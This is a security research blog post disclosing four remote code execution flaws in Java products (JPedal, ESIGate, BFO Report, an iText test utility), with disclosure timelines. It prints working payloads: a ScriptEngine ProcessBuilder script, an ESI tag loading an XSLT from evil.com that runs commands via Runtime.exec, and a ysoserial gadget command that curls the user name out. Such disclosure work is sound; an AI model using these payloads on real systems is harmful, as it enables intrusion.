Java Remote Code Execution Potpourri

Posted by Benoit Côté-Jodoin   |   July 3, 2019

Some time ago; we published a blog about jenkins-fsb, a preconfigured Jenkins instance for efficiently using the plug-in, Find Security Bugs. In that blog post, there was an indication about multiple vulnerabilities having been found but not disclosed. Well, today we are sharing more details about the process of finding four different kinds of remote code execution in modern Java applications. Remote execution in Java can happen under different circumstances and all the findings presented here are all different from one another. This shows that while some code execution vulnerabilities are easy to detect, some of them require a thorough inspection.

 

Vulnerability Class 1: Javascript Injection in JPedal

JPedal is an SDK to manipulate PDF files. It has a viewer and multiple APIs to extract the text, fill forms automatically, extract images and more. When using jenkins-fsb to analyze the product, 190 warnings were raised. One of them stands out: SCRIPT_ENGINE_INJECTION. While we have analyzed many projects thus far, we have never seen this bug pattern before. This pattern is raised when a dynamic variable is used in the eval function of the ScriptEngine class. In these scripting engines, you can use JavaScript to manipulate the provided variables. But you can also import Java classes such as ProcessBuilder. This means if we could somehow make our own script evaluate inside this engine, we could gain code execution outside the context of the program. We came up with the following payload that spawns an xcalcfrom inside the engine.

var pb = new (new JavaImporter(java.lang.ProcessBuilder)).ProcessBuilder(["/usr/bin/xcalc"]);
pb.start();

It was a little later we discovered that my colleague, Philippe Arteau, wrote about these scripting engines and their risks back in 2014.

 

XFA Forms

One of the main features of JPedal is that it supports XFA forms. These forms are proprietary to Adobe and can be embedded inside a PDF. They are made up of a simple XML file that describes the parts of the form. You can also add dynamic behaviour such as validation using JavaScript. To parse these documents, JPedal will run the scripts using a JavaScript ScriptEngine. We had trouble creating our own PDF with XFA, and we ended up finding an example file online and modified its XFA stream with a malicious one. 

 

JPedal RCE Obligatory xcalc Job

 

Disclosure

 

Vulnerability Class 2: XSLT Injection in ESIGate

This year, we learned about the possibilities of Edge Side Include (ESI) which can lead to various XSS, SSRF and session hijacking. ESIGate is a solution that implements ESI in Java as a simple servlet filter. This servlet can be placed on top of an existing servlet application to enable ESI. Just as with Akamai, ESIGate has implemented more features than what the specification requires. Using jenkins-fsb, a single warning is raised about malicious XSLT. Indeed, looking up the documentation, we can see that the <esi:include> tag offers a feature allowing you to provide your own XSLT to transform the included content. This is not only a useful feature but also a powerful one as well. XML transformations using XSLT in Java can load any Java classes. Consequently, we can load classes such as ProcessBuilder to gain code execution.

To exploit this vulnerability, we need to have some content injection on the web application. Content injection usually leads to XSS. But in this case, we want to inject tags that will get interpreted as ESI.

<esi:include src="http://example.com/" stylesheet="http://evil.com/esi.xsl"></esi:include>

This tag will load example.com and apply the stylesheet located at evil.com/esi.xsl. The evil stylesheet is based on work done by Nicolas Grégoire

<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[touch /tmp/pwned]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>

 Once the request is issued, the command touch /tmp/pwned has been run and the file was created with the user tomcat8.

 

Disclosure

  • 2018-08-20: Discovery of the bug and creation of a proof-of-concept
  • 2018-10-15: Sent report and proof-of-concept
  • 2018-10-20: Patch released

 

Vulnerability Class 3: Deserialization in BFO Report

BFO Report is a neat tool used to create a PDF file using XML. When launching the scan, the results were not really convincing. As a result, we started looking more into the warning about an unsafe Java object deserialization. One of the classes that stood out was one ending with "Servlet" which indicates it could be exposed on the internet.

public class RemoteSigningServlet
extends HttpServlet {
public void doPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws ServletException, IOException { // FSB OBJECT_DESERIALIZATION: Object deserialization is used in {1}
HashMap<String, Serializable> hashMap;
block10 : {
ObjectInputStream objectInputStream = new ObjectInputStream((InputStream)httpServletRequest.getInputStream());
Map map = null;
hashMap = new HashMap<String, Serializable>();
hashMap.put("res", new HashMap());
try {
map = (Map)objectInputStream.readObject(); // vulnerable code
}

This servlet will read the entire body of an HTTP POST requests and use it inside an ObjectInputStream class. This class is responsible for parsing a stream of serialized Java object and values. The fact that the input stream of the servlet is passed to this object means we have complete control of the object that will be unserialized.

To successfully exploit this vulnerability, you need gadgets. Similar to return-oriented programming (ROP) or property-oriented programming (POP) in PHP, we can chain Java objects together to achieve arbitrary function calls. Fortunately, plenty of payloads and tools are available online. To showcase the vulnerability, I generated a payload using ysoserial .

java -jar ysoserial-master.jar CommonsCollections5 'curl localhost:1234/$USER' | base64

The gadgets used in this payload depend on the Apache Commons Collection library version 3.1.  I deployed all the required Jars to Tomcat and sent the request using Burp to trigger the code execution.

Disclosure

  • 2018-08-31: First contact with the support
  • 2018-09-04: Acknowledgment of the weakness -- will be removed on the next release
  • 2018-10-12: Silent patch with no release note on the security issue

 

Vulnerability Class 4: Malicious Ghostscript

The compareVisually method of the CompareTool class will invoke Ghostscript to visually compare two PDFs. If the content of the second file is user controlled, you can invoke commands using the pipe feature of Ghostscript.

The server-side code of an application would look as follows:

CompareTool cp = new CompareTool();
cp.compareVisually("input1.pdf", "input2.ps", "", "diff");

If an attacker could submit one of the files passed as an argument, it is easy to trigger code execution because the comparison is made using the Ghostscript command line interface.

 

        if (targetDir.exists()) {
String gsParams = this.gsParams.replace("<outputfile>", outPath + cmpImage).replace("<inputfile>", cmpPdf);
Process p = Runtime.getRuntime().exec(gsExec + gsParams); //Command execution
BufferedReader bri = new BufferedReader(new InputStreamReader(p.getInputStream()));
BufferedReader bre = new BufferedReader(new InputStreamReader(p.getErrorStream()));
String line;

According to iText technical contact, this utility code was only used in tests at the moment. It is therefore not a risk to users using the documented APIs. We left this finding in our article only to showcase the various remote code execution vectors available in modern Java applications.

Disclosure

  • 2018-10-15: First attempts to get a security contact -- no response
  • 2018-12-18: Security contact received 
  • 2018-12-19: Report sent
  • 2018-12-20 : Confirmation that the class was used only in test.

 

Conclusion

Remote code execution comes in many forms and shapes in Java applications. The best defense against those threats is to use a modern web framework, do security code review - assist by static code analysis when available - and to use up-to-date libraries.

 

Topics: code review, vulnerability, web, java

Subscribe to Email Updates

Recent Posts

Posts by Topic

see all